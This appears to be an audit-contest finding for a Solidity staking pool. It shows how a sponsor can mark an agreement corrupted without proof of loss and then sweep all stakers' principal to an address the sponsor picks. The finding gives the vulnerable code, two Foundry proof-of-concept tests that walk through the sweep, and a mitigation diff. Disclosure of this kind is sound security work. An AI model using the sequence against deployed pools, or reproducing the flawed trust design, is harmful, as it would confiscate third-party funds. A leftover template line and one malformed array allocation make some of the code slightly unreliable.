FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: medium
Likelihood: medium

Sponsor-controlled corruption signals can activate a full principal sweep to the sponsor's recovery destination

Author Revealed upon completion

Root + Impact

Description

  • Describe the normal behavior in one or more sentences
    Under the intended architecture, the independent pool outcome moderator decides whether a terminal agreement corruption affected this pool's scope and whether it was a good-faith whitehat event. The permissionless auto-CORRUPTED branch exists only as a 180-day fallback when that moderator remains unavailable.
    Pool creation is restricted to IAgreement.owner(), and the factory initializes the same caller as the pool owner. The upstream registry independently stores the agreement owner as that agreement's attackModerator.
    Once the global registry moderator legitimately approves the agreement into UNDER_ATTACK, the financially interested sponsor can call upstream markCorrupted(). That function requires no on-chain proof of loss, sets the terminal CORRUPTED flag, and makes the upstream bond claimable rather than imposing a mandatory slash.
    The in-scope pool treats the resulting sponsor-created registry flag as sufficient for mechanical bad-faith CORRUPTED settlement after the grace period. The same sponsor controls the pool's mutable recoveryAddress, and claimCorrupted() sends the complete pool balance there.
    This composes two disclosed privileges into an undisclosed settlement lever: the sponsor controls both the external predicate that activates the fallback and the address that profits from it. The protocol documentation discloses sponsor control over recoveryAddress, but it does not disclose that the sponsor is normally the upstream role authorized to manufacture the terminal condition consumed by the fallback.
    The upstream registry remains an out-of-scope dependency. The in-scope root cause is the pool's use of a financially interested, sponsor-controlled registry transition as an objective substitute for independent outcome-moderator judgment.

```solidity
// src/ConfidencePoolFactory.sol
function createPool(
address agreement,
address stakeToken,
uint256 expiry,
uint256 minStake,
address recoveryAddress,
address[] calldata accounts
) external returns (address pool) {
// @> Only the agreement owner can become the pool sponsor.
if (IAgreement(agreement).owner() != msg.sender) {
revert UnauthorizedCreator();
}
IConfidencePool(pool).initialize(
agreement,
stakeToken,
address(safeHarborRegistry),
defaultOutcomeModerator,
expiry,
minStake,
recoveryAddress,
// @> The agreement owner is also initialized as pool owner.
msg.sender,
accounts
);
}
// lib/.../AttackRegistry.sol
function _registerAgreement(
address agreementAddress,
address agreementOwner,
address[] memory contracts
) internal {
s_agreementInfo[agreementAddress] = AgreementInfo({
// @> The same agreement owner is the upstream attack moderator.
attackModerator: agreementOwner,
deadlineTimestamp: block.timestamp + PROMOTION_WINDOW,
promotionRequestedTimestamp: 0,
attackRequested: true,
attackApproved: false,
promoted: false,
corrupted: false,
isRegistered: true
});
}
function markCorrupted(address agreementAddress)
external
onlyAttackModerator(agreementAddress)
{
ContractState currentState = _getAgreementState(agreementAddress);
if (
currentState != ContractState.UNDER_ATTACK
&& currentState != ContractState.PROMOTION_REQUESTED
) {
revert AttackRegistry__InvalidState(currentState);
}
// @> No loss proof or independent confirmation is required.
s_agreementInfo[agreementAddress].corrupted = true;
// @> The sponsor's upstream bond becomes claimable rather than slashed.
_markBondClaimable(agreementAddress);
}
// src/ConfidencePool.sol
function claimExpired() external nonReentrant {
IAttackRegistry.ContractState state = _observePoolState();
// @> The pool accepts the sponsor-created terminal state as the
// @> independent moderator's mechanical replacement.
if (
state == IAttackRegistry.ContractState.CORRUPTED
&& riskWindowStart != 0
) {
if (block.timestamp < expiry + MODERATOR_CORRUPTED_GRACE) {
revert AgreementCorruptedAwaitingModerator();
}
outcome = PoolStates.Outcome.CORRUPTED;
corruptedReserve = snapshotTotalStaked + snapshotTotalBonus;
claimsStarted = true;
return;
}
}
function setRecoveryAddress(address newRecoveryAddress) external onlyOwner {
// @> The same sponsor can select the eventual sweep recipient.
recoveryAddress = newRecoveryAddress;
}
function claimCorrupted() external nonReentrant {
uint256 toSweep = stakeToken.balanceOf(address(this));
// @> The full third-party principal and bonus balance goes to the
// @> sponsor-selected destination.
stakeToken.safeTransfer(recoveryAddress, toSweep);
}
## Risk
**Likelihood**:
The agreement owner creates the pool, retains pool ownership, and remains the upstream per-agreement `attackModerator`.
The independent global registry moderator legitimately approves the agreement from `ATTACK_REQUESTED` into `UNDER_ATTACK`, which is a normal lifecycle transition rather than a compromised-registry assumption.
Third-party users stake after evaluating the documented pool parameters, and a pool interaction records the active risk window, permanently disabling withdrawal.
The sponsor calls `markCorrupted()` while the upstream state is `UNDER_ATTACK` or `PROMOTION_REQUESTED`; the function completes without presenting proof that an actual loss occurred.
The independent pool outcome moderator remains unavailable until `expiry + MODERATOR_CORRUPTED_GRACE`, and no earlier settlement latches a different outcome.
Any account, including the sponsor, calls `claimExpired()` and `claimCorrupted()` after grace. No pool-outcome-moderator authorization is required at that stage.
The required global registry approval and 180-day pool-moderator absence substantially reduce likelihood, supporting Medium rather than High severity.
**Impact**:
* Impact
A malicious sponsor can convert an authorized upstream role into the confiscation of all third-party staker principal.
The sponsor also captures the entire bonus balance through its selected `recoveryAddress`.
The sponsor can update `recoveryAddress` after users have funded the pool, allowing the final recipient to differ from the address users observed when staking.
The upstream bond becomes claimable on the sponsor-driven `markCorrupted()` path, so no mandatory equivalent economic penalty protects pool stakers from a false terminal declaration.
The fallback defeats the intended separation between the sponsor and the independent pool outcome moderator precisely during the moderator-unavailability condition it was designed to handle.
## Proof of Concept
The following PoC demonstrates that, after DAO approval into `UNDER_ATTACK`, the sponsor can call `markCorrupted()` as the agreement's `attackModerator` and reclaim the upstream bond.
```solidity
function test_AgreementOwnerCanCreateCorruptedStateAndRecoverBond()
external
{
address[] memory contracts = new address[]();
contracts[0] = contract1;
// The agreement owner is sponsor.
Agreement testAgreement =
_createAgreementWithContracts(sponsor, contracts);
vm.prank(sponsor);
attackRegistry.requestUnderAttack(address(testAgreement));
// Independent DAO approval is required only to enter attack mode.
vm.prank(registryModerator);
attackRegistry.approveAttack(address(testAgreement));
assertEq(
attackRegistry.getAgreementState(address(testAgreement)),
IAttackRegistry.ContractState.UNDER_ATTACK
);
assertEq(
attackRegistry.getAttackModerator(address(testAgreement)),
sponsor
);
// The sponsor alone creates the terminal state. No loss proof is supplied.
vm.prank(sponsor);
attackRegistry.markCorrupted(address(testAgreement));
assertEq(
attackRegistry.getAgreementState(address(testAgreement)),
IAttackRegistry.ContractState.CORRUPTED
);
BondDeposit memory deposit =
attackRegistry.getBondDeposit(address(testAgreement));
// markCorrupted returns the bond instead of imposing a mandatory slash.
assertTrue(deposit.bondClaimable);
uint256 sponsorBefore = bondToken.balanceOf(sponsor);
vm.prank(sponsor);
attackRegistry.claimBond(address(testAgreement));
assertGt(bondToken.balanceOf(sponsor), sponsorBefore);
}

The second fragment proves the in-scope pool consequence using the pool fixture. The unrestricted mock setter represents the terminal state whose sponsor-controlled production reachability is proven by the upstream fragment above.

function test_SponsorCreatedCorruptionSweepsThirdPartyPool()
external
{
_stake(alice, 100 * ONE);
_stake(bob, 50 * ONE);
_contributeBonus(carol, 25 * ONE);
// Registry moderator has approved attack mode and the pool observes it.
_passThroughUnderAttack();
assertTrue(pool.riskWindowStart() != 0);
address sponsor = pool.owner();
// Sponsor selects itself as the recovery recipient.
vm.prank(sponsor);
pool.setRecoveryAddress(sponsor);
// This state transition is reachable by the same sponsor through the
// real upstream markCorrupted() path shown in the first fragment.
attackRegistry.setAgreementState(
IAttackRegistry.ContractState.CORRUPTED
);
vm.warp(pool.expiry() + pool.MODERATOR_CORRUPTED_GRACE());
uint256 sponsorBefore = token.balanceOf(sponsor);
uint256 aliceAfterStake = token.balanceOf(alice);
uint256 bobAfterStake = token.balanceOf(bob);
pool.claimExpired();
assertEq(
uint256(pool.outcome()),
uint256(PoolStates.Outcome.CORRUPTED)
);
assertTrue(pool.claimsStarted());
pool.claimCorrupted();
// Sponsor receives 100 + 50 principal and 25 bonus.
assertEq(token.balanceOf(sponsor) - sponsorBefore, 175 * ONE);
assertEq(token.balanceOf(alice), aliceAfterStake);
assertEq(token.balanceOf(bob), bobAfterStake);
assertEq(token.balanceOf(address(pool)), 0);
}

The role assignment, sponsor-authorized markCorrupted(), claimable bond, mechanical pool outcome, mutable recovery destination, and full-balance transfer are each explicit in the cited code paths. A final integration test can wire the pool directly to the real upstream registry, but it does not require an additional vulnerability or unauthorized dependency transition.

Recommended Mitigation

Do not use a sponsor-authorized registry flag as sufficient evidence for a sponsor-benefiting principal sweep. Preserve the normal moderator path, but require independent provenance for the mechanical fallback.

A robust design should expose whether CORRUPTED was confirmed by the global registry moderator, an independent verifier, or a verifiable loss-proof mechanism. The pool should accept only that independently confirmed form for automatic principal confiscation. A sponsor-created terminal state can remain available to the normal pool outcome moderator as evidence, but it should not replace that moderator automatically.

+ // Set only from an independent DAO/verifier attestation, never from
+ // the agreement owner or per-agreement attack moderator.
+ bool public independentlyConfirmedCorruption;
+ function confirmCorruption(bytes calldata independentProof) external {
+ if (!fallbackVerifier.verify(agreement, independentProof)) {
+ revert InvalidCorruptionProof();
+ }
+
+ independentlyConfirmedCorruption = true;
+ emit CorruptionIndependentlyConfirmed(msg.sender);
+ }
function claimExpired() external nonReentrant {
IAttackRegistry.ContractState state = _observePoolState();
- if (
- state == IAttackRegistry.ContractState.CORRUPTED
- && riskWindowStart != 0
- ) {
+ if (
+ state == IAttackRegistry.ContractState.CORRUPTED
+ && riskWindowStart != 0
+ && independentlyConfirmedCorruption
+ ) {
if (block.timestamp < expiry + MODERATOR_CORRUPTED_GRACE) {
revert AgreementCorruptedAwaitingModerator();
}
outcome = PoolStates.Outcome.CORRUPTED;
// ...
}
}
function setRecoveryAddress(address newRecoveryAddress) external onlyOwner {
+ // Defense in depth: prevent post-funding recipient substitution.
+ if (totalEligibleStake != 0 || claimsStarted) {
+ revert RecoveryAddressLocked();
+ }
+
recoveryAddress = newRecoveryAddress;
}

Where independent confirmation cannot be added, the safer fallback is to avoid transferring principal to a sponsor-controlled address automatically. The contract can hold funds pending governance recovery, use a neutral escrow with a challenge period, or select the staker-favorable EXPIRED outcome. Freezing recoveryAddress after funding is useful defense in depth, but it does not by itself fix the sponsor's control over the fallback predicate.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!